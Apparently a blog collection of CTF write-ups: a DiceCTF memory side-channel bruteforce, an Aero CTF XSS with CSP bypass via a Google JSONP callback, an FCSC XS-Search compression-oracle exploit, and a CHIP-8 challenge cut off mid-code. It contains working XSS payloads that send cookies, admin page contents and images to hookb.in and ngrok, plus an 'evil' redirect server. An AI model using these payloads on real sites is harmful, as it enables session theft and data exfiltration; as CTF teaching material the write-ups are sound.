Before going any further into reversing, I wanted to experiment with how the map evolved in memory. Since the flag is read bit by bit, perhaps some local modifications are performed for each bit, which can in turn leak information.

I wrote a very simple GDB script to dump the state of the map after the program finished its execution for a given input.

```
starti

# Breakpoint at the end of main
pie breakpoint *0x10e0

r
dump memory dump-map.txt 0x00007fffffad5000 0x00007ffffffff000
quit
```

I generated a dump for "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and compared it with the original map.

![Diff between before and after execution](/files/Qcv0JdgsODe359lDuEwS)

We can see the lines where changes happened. Most importantly, it seems that some bits of data (0xEA/0xCD) now appear on line 45+:

```
CD    CD EC                   CD    CD EC                   CD    CD CD      
   CD    EC EA CD CD CD CD CD    CD    EC EA CD CD CD CD CD    CD    CD CD CD
      CD EC  ^                      CD EC  ^                      CD CD  ^    
```

I decided to extract these bits:

```
1110001100000000110000011000010111000111010111100110011010
1000101110000111101000010000100100000100101000010001110101
1110000001101010000110000110110010000101111001111110110111
1010111101000111111111110101111110011111101100010010000000
```

Then, I also generated a dump for "dice{aaaaaaaaaaaaaaaaaaaaaaaa" and extracted the relevant bits. The result is extremely promising:

```
1101011110011001101010001011100001111010000100001001000001
0010100001000111010111100000011010100001100001101100100001
0111100111111011011110101111010001111111111101011111100111
1110110001001000000000000000000000000000000000000000000000
```

Suddenly a bunch of zeroes! Assuming they're here because the flag does start with `dice{`, it is now easy to write a script that bruteforces the flag bit by bit to make this suffix of zeroes grow.

```
starti
pie breakpoint *0x10e0
r < payload.txt
dump memory dump-tmp.txt 0x00007fffffad5000 0x00007ffffffff000
quit
```

```python
import os

tobin = lambda s: "".join(f"{c:08b}" for c in s)
frombin = lambda s: bytes(int("".join(str(_) for _ in s[i:i + 8]), 2) for i in range(0, len(s), 8))

flag = [0] * 29 * 8

for k in range(29 * 8):

    if k % 8 == 0:
        flag[k] = 0
        continue

    scores = []

    for bit in [0, 1]:

        flag_ = flag[:]
        flag_[k] = bit

        open("payload.txt", "wb").write(frombin(flag_))
        os.system("gdb -q --command=script.gdb chall")

        f = open("dump-tmp.txt", "rb").read()
        f = f[f.find(b"\x00\x00\x00\xcd\xcd\xcd\x00"):]

        out = ""
        for i in range(11, 2324, 10):
            cell = f[44 * 2324 + i]
            if cell == 0xEA:
                out += "1"
            elif cell == 0xCD:
                out += "0"

        n = 0
        for j in range(len(out) - 1, -1, -1):
            if out[j] != "0":
                break
            n += 1

        print(out)
        print(frombin(flag_), n)
        scores.append(n)

    flag[k] = 1 if scores[0] <= scores[1] else 0
```

After around 40 minutes, the flag is succesfully leaked! And we still have no clue what the challenge is about.

```
╭─face@0xff ~/ctf/dice/cable 
╰─$ time ./chall
dice{w0rld_of_w1res_03294803}
:)
./chall  87,08s user 0,01s system 99% cpu 1:27,81 total
```

Once the CTF ended, the author mentioned the source of their inspiration for this challenge: [Wireworld](https://en.wikipedia.org/wiki/Wireworld).

To conclude this write-up, I would say that in reverse challenges, you should always look for obvious side channels (time, number of instructions, code or memory coverage...) before actually going too deep into the reversing process.


# 2021


# Aero CTF 2021

February 27 - February 28

Participated with SHRECS.


# Not received prize

## Description

**Web, 443 points (20 solves)**

*Dear friend, I recently had a tragedy, I was advised to use the services of a company that gives a comforting gift for a review.*

*I left a review but did not receive a gift, can you figure it out?*

A fun web task with some classic elements as well as a few twists and tricks.

## Solution

### Triggering the XSS

![Main page](/files/-MUcmD4TWoP1ZECVL2WE)

The site greets us with a form, where we need to specify a name and a description. There's also a Google captcha (that will prove to be *very* annoying) which seems solely here to justify the presence of a **script to Google's domain**:

```markup
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
```

Let us, in fact, check the **CSP** (Content Security Policy) sent by the server:

```
Content-Security-Policy:
  default-src 'self'   *.google.com *.gstatic.com;
  script-src 'self'  *.google.com *.gstatic.com;
  style-src 'self' 'unsafe-inline';
  object-src 'none';
  img-src *
```

This screams [CSP bypass via JSONP](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#jsonp). Let's keep that in mind for in a little bit 😉

Onto the feedback form: the server sends us back a link, which we can use to see our feedback in action (`http://151.236.114.211:13666/help/read.html?id=4e62dcb09b7570d1dcfb31d36e2dca1e072e11824f1a8846f751460b04d8118d`).

![Our feedback](/files/-MUcmD4UlG42MaS_42ij)

Playing with the id in the URL does not yield any interesting result. The "Not Viewed" string, however, is what should catch your eye; it seems to imply that **an administrator will review our feedback**. Indeed, after waiting a few seconds and reloading the page, it now displays "Viewed".

Our feedback (name and description) are output in the HTML:

```markup
<div class="uk-overflow-auto" id="cont">
  <p>Viewed</p>
  <p>abc</p>
  <p>def</p>
</div>
```

Let's try some basic XSS fuzzing:

```markup
<div class="uk-overflow-auto" id="cont">
  <p>Not Viewed</p>
  <p>&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;</p>
  <p>&lt;script&gt;alert(1)&lt;/script&gt;</p>
</div>
```

Dang, sounds like our payload got escaped. Wait... why is the name escaped *twice*? Could it be that our input is also escaped once client-side?

The answer lies in the `js/index.js` file:

```javascript
axios.post('/api/help/add', {
  name: _.escape(name.value),
  msg: _.escape(msg.value),
  captch: _.escape(captch.value)
})
```

**Client-side escaping**, yikes! Let's get rid of this: patch the code by removing the \_.escape() calls and submit a new form.

```markup
<div class="uk-overflow-auto" id="cont">
  <p>Not Viewed</p>
  <p>&lt;script&gt;alert(1)&lt;/script&gt;</p>
  <p>alert(1)</p>
</div>
```

This time, the `<script>` tags got removed. It might just be a dumb string replacement, in which case let's try with `<scr<script>ipt>alert(1)</sc</script>ript>`.

```markup
<div class="uk-overflow-auto" id="cont">
  <p>Not Viewed</p>
  <p>a</p>
  <p><script>alert(1)</script></p>
</div>
```

It worked! But wait... where's our alert? Let's open up the web console:

> Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' *.google.com* .gstatic.com". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

Riiight, the CSP won't let us inject inline script. What we can inject, on the other hand, is a script whose src attribute points to something Google-related; a **Google JSONP endpoint**.

For instance, <https://accounts.google.com/o/oauth2/revoke?callback=alert(31337>); returns a script beginning with our payload, `alert(31337)`. Let's try it out:

```markup
<scri<script>pt src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></scri</script>pt>
```

![The long-awaited alert popup](/files/-MUcmD4V9LJcJqpFEtdO)

### Being the admin's puppeteer

Now the fun begins. From now on, I will only show the callback scripts without the surrounding parts for readability.

We build a classic payload to exfiltrate cookies:

```javascript
window.location=encodeURI('https://hookb.in/lJRg9j0NMjfrXXZWdaRx?x='.concat(btoa(document.cookie)));
```

However, we are not able to intercept any cookie.

![No cookie for you](/files/-MUcmD4W0wx8ipTxR0Jy)

The admin did visit our link though, which is good news.

The `Referrer` header is interesting: the admin comes from an **admin read page**. We can try **fetching the contents** of that page, as well as other pages (we can imagine there also is an `/admin/index.html`).

```javascript
var xhr=new XMLHttpRequest();
xhr.open('GET','/admin/',false);
xhr.send();
window.location=encodeURI('https://hookb.in/Z2RPOgOzaXHR33eLJV3n?x='.concat(btoa(xhr.responseText)));
```

You can notice the use of synchronous XMLHttpRequest. That is because in a lot of previous XSS challenges, I've never had luck with fetch() or async XMLHttpRequest... it turns out the fetch API did work in this challenge, as other write-ups may show. It did work this way, even though it made the last part more intricate as you will see.

For now, we are able to get the contents of `index.html`, which is a login form. It is important noting anything that is in the `/admin/` folder we cannot access (403).

There is also a `/admin/index.js` script, which makes a login request:

```javascript
axios.post('/api/auth/', {
  login: _.escape(login.value),
  password: _.escape(password.value),
  action: 'auth'
})
```

We can't fuzz this route directly, but we can fuzz it through the admin's actions with enough determination. It would have been fun to exploit an SQL injection remotely this way. Actually nevermind, it would have been very annoying because the captcha prevents you from automating it.

Once the admin is logged in, they are redirected to `/admin/list.html` which shows the list of feedbacks, dynamically fetched through `/admin/list.js`, which makes an API call to `/api/admin/help/list`.

Fetching this route does show us the different feedbacks, but only the ones that are yet to be read. We couldn't find any "special feedback" that hid the flag.

The `/admin/read.html` file, however, contains a link to `/admin/prize.html`, and the associate script:

```javascript
const genEx = () => {
  const spiner = document.getElementById('spiner1')
  spiner.style.display = 'inline'
  axios.post('/api/admin/pz/ex', {})
    .then((result) => {

      if (typeof result.data.error !== 'undefined') {
        UIkit.notification({
          message: result.data.error || '',
          status: 'danger',
          pos: 'top-center',
          timeout: 5000
        });
      } else {
        const ex = document.getElementById('ex')
        ex.textContent = result.data['ex'] || '';
        spiner.style.display = 'none'
      }
    })
    .catch((error) => {
      UIkit.notification({
        message: error.message,
        status: 'danger',
        pos: 'top-center',
        timeout: 5000
      });
      console.log(error);
    });
}

btn.onclick = () => {
  const btn = document.getElementById('btn')
  const spiner2 = document.getElementById('spiner2')
  const solve = document.getElementById('solve')
  const priz = document.getElementById('priz')

  btn.disabled = true
  btn.style.background = '#FFFFFF44'
  spiner2.style.display = 'inline'

  axios.post('/api/admin/pz/check', {
      solve: _.escape(solve.value)
    })
    .then((result) => {

      if (typeof result.data.error !== 'undefined') {
        UIkit.notification({
          message: result.data.error || '',
          status: 'danger',
          pos: 'top-center',
          timeout: 5000
        });

      } else {

        priz.src = result.data['img'] || ''
        priz.style.display = 'inline'
      }

      btn.disabled = false
      btn.style.background = '#FFFFFF00'
      spiner2.style.display = 'none'
      genEx()
    })
    .catch((error) => {
      UIkit.notification({
        message: error.message,
        status: 'danger',
        pos: 'top-center',
        timeout: 5000
      });
      console.log(error);
      btn.disabled = false
      btn.style.background = '#FFFFFF00'
      spiner2.style.display = 'none'
    });
};

genEx()
```

What is important to understand in this code:

* A POST request to `/api/admin/pz/ex` is made
* Its contents is shown to the user
* They have to make a POST request to `/api/admin/pz/check` with some `solve` parameter.

We make the admin fetch `/api/admin/pz/ex` for us:

```javascript
{
  "ex": "6 * 4 = ?"
}
```

That's right, we have to make the admin solve a math operation. Of course, it changes every time, and the operator changes too (addition, substraction...). Nothing really technically relevant (except perhaps that you couldn't use `eval` because CSP doesn't like it) so I will skip this part.

Once solved, the `/api/admin/pz/check` route returns:

```javascript
{
  "img": "/admin/img/175193053491407376ff47dc6e834673.png"
}
```

### A picturesque ending

Could this image finally contain the flag? Evidently, we cannot fetch it directly ourselves because of 403, so we have to make the admin fetch it for us.

Two main hardships:

* The PNG content is binary data, which should be exfiltrated with care;
* The PNG content is probably too big to be exfiltrated through a HTTP querystring.

For the second point, we can deal with it by setting up our own simple TCP server that logs anything it receives (without even necessarily responding) and tunneling it through *ngrok*.

For the first point, let me explain the issue. If you try to fetch the PNG the normal way with synchronous XMLHttpRequest as we've been doing since the beginning, `xhr.response` will contain the PNG contents, but...

```
ï¿½PNG
.
...
IHDR...c...ï¿½.....Ü.wï¿½....sRGB.ï¿½ï¿½.ï¿½....gAMA..ï¿½ï¿½.ï¿½a....    pHYs...ï¿½...ï¿½.ï¿½oï¿½d..ï¿½ï¿½IDATx^ï¿½.ïï{ïïQua·îßMûïï{ïï{ïï^
```

It is completely broken, because of encoding reasons. All "special" bytes are replaced with garbage (such as \x89 -> \xef\xbf\xbd), and it is not reversible.

The [Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data) has stuff to say about it; we should specify `xhr.responseType = "arraybuffer";` to receive an *array buffer*, which we can then process the right away, for instance to encode it into base64.

However, it does not work; we get an error saying `responseType` cannot be set for synchronous requests. Indeed:

> You cannot change the value of responseType in a synchronous XMLHttpRequest except when the request belongs to a Worker. This restriction is designed in part to help ensure that synchronous operations aren't used for large transactions that block the browser's main thread, thereby bogging down the user experience.

We are doomed... at this point I even tried using a *Worker* as suggested. You can create a worker on-the-fly as such:

```javascript
function startNewWorker(code) {
  var blob = new Blob([code], {type: 'application/javascript'});
  var worker = new Worker(URL.createObjectURL(blob));
}
function z() {
  // do something ....
}
const w1 = startNewWorker('('+z.toString()+')()');
```

But this solution did not work either, because CSP policy refused to load the worker script!

I eventually thought of **loading the image through an actual `<img>` tag**. This way, maybe we can extract the contents of the image once it has been loaded. It turns out you can, by using a **canvas**. Here's how:

```javascript
var img=new Image;
img.crossOrigin='Anonymous';
img.src='/admin/img/175193053491407376ff47dc6e834673.png';
var c=document.createElement('canvas');
c.height=img.naturalHeight;
c.width=img.naturalWidth;
c.getContext('2d').drawImage(img, 0, 0, c.width, c.height);
window.location=encodeURI('http://ngrok.../?x='.concat(c.toDataURL()));
```

The image is loaded in an `<img>` tag, and a canvas is drawn with the loaded image. Then, the `toDataURL` method allows us to get a base64 `data:` representation of the drawn image, which we can exfiltrate!

The last issue we have to take care of is that the image should have finished loading before being drawn in the canvas, otherwise it will end up being empty. Since we didn't have luck with asynchronous "onload" type of events, we simply used a `setTimeout` which waits long enough before creating the canvas.

Here is the final payload:

```markup
<scri<script>pt src="https://accounts.google.com/o/oauth2/revoke?callback=var img=new Image;img.crossOrigin='Anonymous';img.src='/admin/img/175193053491407376ff47dc6e834673.png';setTimeout(function(){var c=document.createElement('canvas');c.height=img.naturalHeight;c.width=img.naturalWidth;var ctx=c.getContext('2d');ctx.drawImage(img,0,0,c.width,c.height);window.location=encodeURI('http://ngrok.../?x='.concat(c.toDataURL());},3000);"></scri</script>pt>
```

And the exfiltrated image:

![Enjoy!](/files/-MUcmD4_rWRyJvJjtiP1)


# FCSC 2021

I participated in the **France Cyber Security Challenge 2021** (04/23 - 05/03) in the *Senior* category, where I finished 3rd place.

![](/files/-MZmxV9QluWo4wrwh3aW)

![](/files/-MZmxV9UywOMPLJ5cjOF)


# Shared Notes (web, 500)

**Shared Notes** was one of the two difficult web challenges, that was solved by a handful of people.

The challenge was divided in three parts:

* **HTML scriptless injection** under strict CSP to redirect the admin
* Making the admin perform requests through an **XS-Search**
* Leak the flag through a binary **compression length oracle**

It honestly took me around 15 minutes to come up with this plan, and around 15 hours to make my exploit work. The concept, even if slightly contrived, is really cool though.

Let's cover each part of the resolution in depth.

## A first look at the website

We are greeted with this home page, which already contains pretty important intel.

![](/files/-MZmxVNiPFe3iRalx-xu)

* Users can share their notes to each other (actually, it's kind of the other way around, you need to specify someone else's user ID to have their notes shared with you, which is a bit weird, especially knowing that the user ID is literally your session cookie :^))
* An admin (a bot!) will check the notes you report
* The admin owns a note with the flag
* There is a backup archive system and the backups cannot exceed 1 KB.

We also remember that the challenge description specified the flag format: `FCSC{[0-9a-f]{10}}`. This is quite unusual for a web challenge: it probably means the flag cannot be retrieved in a single request. Even worse, it probably means it takes a long time to retrieve, hence the short length.

Let's create an account:

![](/files/-MZmxVNjA0t_IHWeut_2)

We can perform several actions:

* Create a note (title and description)
* See our list of notes
* Delete a note
* Report a note
* Download a backup of our notes
* Show notes from a friend ("Share")

Let's detail them backwards.

The note sharing feature asks for our friend's user ID and our password:

![](/files/-MZmxVNk-i6FFdQ8swfA)

Based on that, we know the challenge will not involve making the admin perform an action on this form, because it would imply knowing their password, and if we do, we could just directly login as them. Likewise, our goal will not be to have the admin's notes shared with us through this form, because it would imply knowing their user ID, which is equivalent to logging in.

Backing up notes now: click on the link (`/backup`) and you will be able to download a `notes.gz` file containing the contents of your notes in JSON format, compressed with `gzip`.

```javascript
[{"title":"Hello World!","content":"This is an example"},{"title":"test","content":"test!!"}]
```

Okay, that's a pretty unusual feature... let's keep it in mind for later.

## HTML Scriptless Injection

Right away, we want to check if there's some kind of XSS in the note display. We can indeed inject HTML tags, but the CSP is pretty heavy:

```
default-src 'none';
script-src     https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.9.1/umd/popper.min.js https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js;
style-src 'self';
form-action 'self';
font-src 'self';
```

I tried looking for XSS gadgets in the different JS libs, unsuccessfully. The `<base>` attribute could be used to change the base URL for most actions, but the admin won't click anywhere.

We can at least redirect the admin through a `<meta>` redirection, like this:

```markup
<meta http-equiv="refresh" content="0;url=http://hookbin...">
```

Report the note and **the admin does get redirected**. Nothing special to notice about the User-Agent and there's no Referrer header. Since we aren't lucky with doing anything more injection-wise, let's keep it at that and think of what we can do next.

## XS-Search

If we redirect the admin on our own HTML page, we can use **XS-Search** to make them perform certain types of requests. We won't be able to exfiltrate response data from GET requests (we would need to specify the admin's cookie anyways), but we can make them **load a page through an image or a script**, and exfiltrate whether the loading was **successful or not**.

In particular, we can probe whether the admin loaded a `<script>` tag correctly (200) or not (4xx) with a page that looks like this:

```markup
<!DOCTYPE html>
<html>
<body></body>
<script>
const script = document.createElement("script");
script.src = "http://challenges2.france-cybersecurity-challenge.fr:5006/something"
script.onload = () => { document.location.href = '/log.php?a=1'; };
script.onerror = () => { document.location.href = '/log.php?a=0'; };
document.head.appendChild(script);
</script>
</html>
```

Now let's get back on the site and look for a final element that could help us.

## Compression Length Oracle

When you add a friend to have their notes shared with you, here's what you get.

![](/files/-MZmxVNlIMB40exyYoeR)

You can remove the link between you and your friend with a GET request to `/unshare`, but redirecting the admin there doesn't seem any exploitable.

It took me a bit too long to realize that when someone has their notes shared with you, **your backup link changes**. Now, it looks like this:

`http://challenges2.france-cybersecurity-challenge.fr:5006/backup/dcc9e7cb66b8bc89cb57f07f4fcdf26d6d3da32faa223c8dc91dbf831a5e068f182ee58133771c1d93a6e874088ee6aad15f3b1b1168a93be913d794cb07e95f`

...the user ID in the URL being your friend's user ID. When you download the backup, **their notes are also included in the JSON**!

Therefore, we are able to make the admin make a request to `/backup/<uid>` where `<uid>` is the user ID of an account we own. In other words, we found a way to **control a portion of the backup file** downloaded by the admin.

Let's summarize:

* We can **make the admin load pages** and we know whether the loading was **successful**
* There's a route where the admin can download a **gzip-compressed** version of a JSON which contains **both** **something we control** *and* **the flag** (in one of the admin's notes!)

Is there a way we can connect these two elements? In order to do so, it would be very helpful if the `/backup/<uid>` route could sometimes fail to load. Lucky us, this route yields a **418 error when the contents of the backup file exceeds 1 kB**!

The final idea consists in exploiting **how compression works**. It is not necessary to know how *gzip* really works internally, but some results are very intuitive; check it out yourself:

```python
>>> len(zlib.compress(b'FCSC{just_compress_me_bro}'))
34
>>> len(zlib.compress(b'FCSC{just_compress_me_bro} some random unrelated stuff'))
62
>>> len(zlib.compress(b'FCSC{just_compress_me_bro} FCSC{just_compress'))
38
```

Compression will leverage **redundancy** in text to achieve better deflation. This will help us **leak the flag one character at a time**!

The main hardship we will have to cope with now is the fact that we don't have a full-on length oracle, but rather a binary oracle based on a length threshold:

```python
>>> len(zlib.compress(b'FCSC{just_compress_me_bro} FCSC{just_compresx'))<39
False
>>> len(zlib.compress(b'FCSC{just_compress_me_bro} FCSC{just_compress'))<39
True
```

This kind of technique can be *very* unstable though if not executed properly. You have to make sure the uncompressed data other than the character you try won't change, use "stop patterns"... and even then there can be false positives.

A few select resources on the Internet try to formalize these kinds of attacks, but they are not very widespread. We're gonna have to try and get our hands dirty to see what works best.

## Building the exploit

Our exploit will use two user accounts. One will store the big note that will reach the size limit and search for the flag ; the other account will post and report the note with the redirection payload.

We will redirect the admin on our HTML page hosted on our server, say `http://evil/a.php`.

Note: I couldn't make the XS-Search work with HTTPS because the browser refuses to load HTTP resources when the current webpage is on an HTTPS site, so the server has to be HTTP.

`a.php` contains the following:

```markup
<!DOCTYPE html>
<html>
<body></body>
<script>
const script = document.createElement("script");
const uid = "<uid of first account to replace>";
script.src = "http://challenges2.france-cybersecurity-challenge.fr:5006/backup/" + uid;
script.onload = () => { document.location.href = '/log.php?a=<?php echo $_GET['a']; ?>-1'; }; // Success
script.onerror = () => { document.location.href = '/log.php?a=<?php echo $_GET['a']; ?>-0'; }; // Error 418 (backup > 1kB)
document.head.appendChild(script);
</script>
</html>
```

I used a PHP script to pass a querystring argument that I could pass on to my logger, in order to "tag" the admin's requests to make them easier to analyze. The logger itself just writes data to a log file.

Now for the exploit itself:

```python
import requests
from string import ascii_uppercase
from time import sleep, time

url = "http://challenges2.france-cybersecurity-challenge.fr:5006"

uid1 = "<uid 1>" # same than in html payload
uid2 = "<uid 2>"

def add_note(content, uid):
    r = requests.post(url + "/save", cookies={'uid': uid}, data={'title': 'a', 'content': content}).text
    note_id = r.split('<a class="close" href="/report/')[-1].split('"')[0]
    return note_id

def report_note(note_id, uid):
    requests.get(url + "/report/" + note_id, cookies={'uid': uid})

def delete_note(note_id, uid):
    requests.get(url + "/delete/" + note_id, cookies={'uid': uid})

def attack_one(content, tag, uid):
    clear_log()
    print("[+] Adding note %s" % tag)
    note_id = add_note(content, uid)
    print("[+] Note saved: %s" % note_id)
    report_note(note_id, uid)
    print("[+] Reported. Waiting for the admin.")
    time_deb = time()
    line = None
    while True:
        if time() - time_deb > 60:
            print("[+] Admin is taking too long... abort.")
            delete_note(note_id, uid)
            print("[+] Deleted note.")
            return None
        lines = requests.get("http://evil/log").text.split("\n")
        if len(lines) > 1:
            line = lines[-2]
            if ' ' + tag in line:
                print("[+] Admin has checked in %ss! %s" % (time() - time_deb, line))
                break
        sleep(1)
    delete_note(note_id, uid)
    print("[+] Deleted note.")
    return line

R = "JXVIGHKGJHGAJNBNXVVIOXPYWYUADGEJAKVIXMAPWIUPZWOXNZURYZJAOWUTNZOZUWOAIRUNNZIIROBBXIXOXYROANPQMSKRMYQGWIWHLWTJTGWMJTLMULJZMTJZOVGONKWIHMGLWRNRURMYJRXJWGKQVQGNGMXMINIMWYPHMVIYYQLUJLQYXZTLIXHVKYTYPPIHGZUZWKLUORUPPIJKKRINZHZXWIWYQTNOMMTVORMUTUTJJGLQPTGVLOPKHPNUVVYJWOJXMHXZXLTRKZVOTKNXKRKRPGVRZNVTXNXYMWWRJQNRMJOLTMGXWGLRYZJOMWRXPGJUNQNUHRKHNPJWYHXMWJQQQVPWUUXPNOXXHNLHLVUHZLIYZIURYYVQYKWTYLUKJJTKWRNIRGUHHZUNXUIHTQGYMTIVZQXTQHZUHOVZWNHYMIPVMTQKYURRXKITHRITRXUYQGKUKIPWXINMVZVMGXYJUOTZPYGQQJIVVVHXHJYLQTILZUJPIZIYXKRNWKLVXKOULZOQWIYWQLRQJOXOYIYIJURKNMYJRNNMROUTRJUIVWMWTHLJIQVPVWYQILWZYLKMXJOTVVHHMONZLZJXKHHJGZQVLRQLPOVQNVZPQLVUOULOQUULVIXTQIPVTJOVOGVOVNQVYKPVYUJNLKYLKMUTUITGQHYHQLJQMHYXZHHJTNUIUUQPMTVWYKKUJWWRORNOMJORUNNNOHGOWOJYVGONHQWIGYUJTPNLTQZWPVOHYOOTKGJKKGOIJLMOMTQJJGIYGMRIQNYWXKNTMUTKGMRGTTNPJUMWVUQGTOIIUUWZMWPYONIPVKOHRLVVJYGWZXRNJJJMIILYYKNZNVTPGXWVOLUQKHKWYGGNURHJJWZLOWPJLGZYULKRZPXVRWHVKWHUWUHTMNZVPQIGKUQQWJZKGNWNKHVRUWKJQONYVOZPGHKYLWXPGTGOPMZUIUTRJKJPVYXXPGTJMYPWWOUNHNQPYMIQHVGNXRZIJLIZHGKRKKUUGQIPIPRKURYQLHZQMUYOQRGQNKUNPNHZNOJXKHNUNKUIXPWNJJXKWIMPJLUQWNWJRJYOWXYMHXTILHLNYNLNXLJUVPGHOLVURKGZYOTIOOMGOQNKOUXRQUGLYUWPJPZXKXNRZNWVGWZVHNMRJMGNNXZZHIIKVYTLHHYVKOXMXYMWLYQOJOQQGTKJXVQKPKYQJKKPMVIYOJGWJUGRQUUWLZRLUKMOWWOOGTQJVGXHTHYWUNXPYYIYRIWZUNWRVVLKIYGJHJNNTWRUZNQOZNVWOWQWYNLHGIKQOUVMTUOWVKJKZNGRQGGOUUHPPIRHYZGOHHPGWYRKIIPVVUXNWOWTUIWZQTZHZYGNKPJVWXXRZTYMTRNQYYNIKVIRLIUQMIQOVOULNKZLTLPLNXGYNMWVUPXNVHGVIUHKKNKVRPPZOLPNQZIRKZYKRXXRUHUWYVRRTRZIMVIIRQHTPXKYHJPXYPUWYGIUYKOWJXJZPMOYVVLPVPRQGGOLHRHVXVTQGLLOOTIVYLQGLQHZMRGIGUQPVMUUOYVINOYVKUVKYVO"

R += "FCSC{"

flag = ''
charset = '0123456789abcdef'
for i in range(1):
    j = 0
    while j < len(charset):
        char = charset[j]
        tag = str(i) + '-' + char
        note_id = add_note(R + char, uid1)
        ret = attack_one("""<meta http-equiv="refresh" content=0;url=http://evil/a.php?a=%s""" % tag, tag, uid2)
        delete_note(note_id, uid1)
        if ret is None:
            continue
        # if ret.endswith('1'):
        #     flag += char
        #     print(flag)
        #     R += char
        #     break
        j += 1
```

Unfortunately, this exploit does not work very well. It finds the first characters of the flag, and then it stumbles upon a lot of false postiives. On top of that, it can't really be run autonomously; each character needs to be exploited differently, by reajusting all the lengths, etc. By the way, to explain the weird `R` string, I needed to easily generate a string that would compress in something long enough, so with very few repeating patterns, and I also tried as much as I can to eliminate characters that could interfere with the flag.

This is the part that took me countless hours, especially because the bot itself was pretty slow and unstable throughout the CTF, or at least the first days when I solved the challenge (sometimes you had to wait a whole minute for the admin to check one note you reported).

At this point I had around half of the flag: `FCSC{2172b`. I eventually found a way to efficiently recover the other half of the flag, by exploiting a "sliding window": for some reason, I had better results by trying fixed-length payloads like `[PADDING] FCSC{2172b` and then `[PADDING] CSC{2172ba`, instead of increasing length.

This eventually allowed me to exfiltrate the whole flag: **`FCSC{2172bd19c0}`**.

Enjoy!


# BattleChip (misc, 495)

**BattleChip** was a misc challenge that leant towards what I think could have been categorized as a fun mixture of hardware & pwn.

We were given a **CHIP-8 emulator implementation** in Python. CHIP-8 is an interpreted programming language designed in the 1970s meant to be run on a virtual machine, that was primarily used to create videogames on old 8-bit machines.

The emulator runs on a **remote server**, which we can connect to and supply a ROM in hexadecimal. A few peripherals are implemented, including **display**, which is sent back to the client, and **timers**. (keyboard is not implemented, we can't play pong, or even better, Ventriglisse :()

![](/files/-MZmxVcZ4qDDMF-_fi41)

*Example of a Ventriglisse session (Slippery Slope) on CHIP-8*

## Prequel: Chip & Fish

BattleChip actually had a nice little prequel challenge called Chip & Fish to introduce us to CHIP-8 and communicating with the remote server.

We are told the flag is hidden in the 16 first bytes of the stack. Indeed, let us take a look at the given `challenge1.py`:

```python
vm = emulator.Emulator()
sys.stdout.write("hex encoded rom:\n")
sys.stdout.flush()
data = sys.stdin.readlines(1)[0]
vm.untrusted_ctx.memory.data[Memory.O_STACK:Memory.O_STACK + len(FLAG_LV1)] = FLAG_LV1
vm.load(data)
vm.run()
```

`Memory.O_STACK` holds the address of the beginning of the stack, which is `0xEA0`, as in most implementations.

Therefore, all we need to do is write a tiny program that will dump the contents of these 16 bytes, between `0xEA0` and `0xEB0`.

Disclaimer: I wrote all my programs directly in hexadecimal opcodes, but there are many comments to help understand them.

Let's have a look at the **opcode table** [on Wikipedia](https://en.wikipedia.org/wiki/CHIP-8#Opcode_table). We notice a few instructions that will be of great help:

```
6XNN
    Vx = NN
    Sets VX to NN.

ANNN
    I = NNN
    Sets I to the address NNN.

DXYN
    draw(Vx,Vy,N)
    Draws a sprite at coordinate (VX, VY) that has a width of 8 pixels and a height of N+1 pixels. Each row of 8 pixels is read as bit-coded starting from memory location I; I value does not change after the execution of this instruction.
```

We also learn that `I` is a general purpose 16-bit register for memory addresses.

With that in mind, we can already create our first very simple program:

```
6800 ; Set v8 = 0
6900 ; Set v9 = 0
aea0 ; Set I = 0xEA0 (stack)
d89f ; Draw 0xF+1 bytes from I at (v8, v9) on the screen
ffff ; Exit
```

We submit our ROM to the server: `68006900aea0d89fffff` and receive the display!

![](/files/-MZmxVc_d_1l0JDZaQFk)

Convert this to binary and then hex, and we have our first flag!

`FCSC{e50f91bc6418a7a79b0c3fe74bb5e600}`

## BattleChip: A few twists on the architecture

Now for the real challenge. We are told the implementation of the CHIP-8 virtual machine has **several additional elements in its architecture**.

![](/files/-MZmxVcaf96EIsCK6YtD)

*BattleChip* introduces a **Secure Element** which holds a secret key, and which adds a new execution context ("privileged") that can interface with it. Here's a summary of what it changes:

* A **10-byte secret key** is initialized at boot time (when we connect to the server)
* An **LRU cache** (Least Recently Used) has been implemented in the ALU (Arithmetic Logic Unit). It is described as: operations in the ALU usually take up **2 cycles**, but when they are cached, they only take up **1**, which saves time.
* Three new opcodes are added:
  * `0000` **encrypts** 10 input bytes (at `I`) with the secret key
  * `0001` **verifies** if our input is the secret key
  * `00E1` **clears** the ALU cache
* When context is switched, memory is copied from unsafe space to safe space, but not the other way around (yes, we can't even know what is the result of the encryption with the `0000` opcode). Only the VF register is returned to unsafe space (to carry a return value).

What is particularly nice about this challenge is that we do not have to focus at all on the Python implementation (the source files), as all the elements we need to trust in are :

* the CHIP-8 specifications (Wikipedia is largely sufficient) ;
* the additional challenge specifications as they are described.

However, we are still going to have to **reverse the pre-compiled routines** for the new opcodes, because we don't know what they exactly do.

Basically, when the emulator is instanciated, **two contexts** are created; an untrusted one (the normal one) and a *trusted* one.

```python
class Emulator:
    def __init__(self):
        self.untrusted_ctx = UntrustedContext()
        self.trusted_context = TrustedContext()

        self.untrusted_ctx.secure_element = self.trusted_context
```

When the *trusted* context is created, it generates the random secret key, and sets the two pre-compiled routines `encrypt` and `verify`, where some bytes are dynamically replaced with bytes from the key.

```python
class TrustedContext(BaseContext):
    def __init__(self):
        super().__init__()
        self.execution_key = os.urandom(10)
        self.co_encrypt = routines.preco_encrypt.format(*self.execution_key)
        self.co_verify = routines.preco_verify.format(*self.execution_key)
```

These routines are hardcoded in the emulator:

```python
"""
def encrypt_0000(I):
    \"""pre-compiled code

    Xor a buffer of size 10 stores at I with a temporary key.
    The secret key is already defined.

    I is copied from the insecure context

    =>  The number of cycles needed to execute this routine
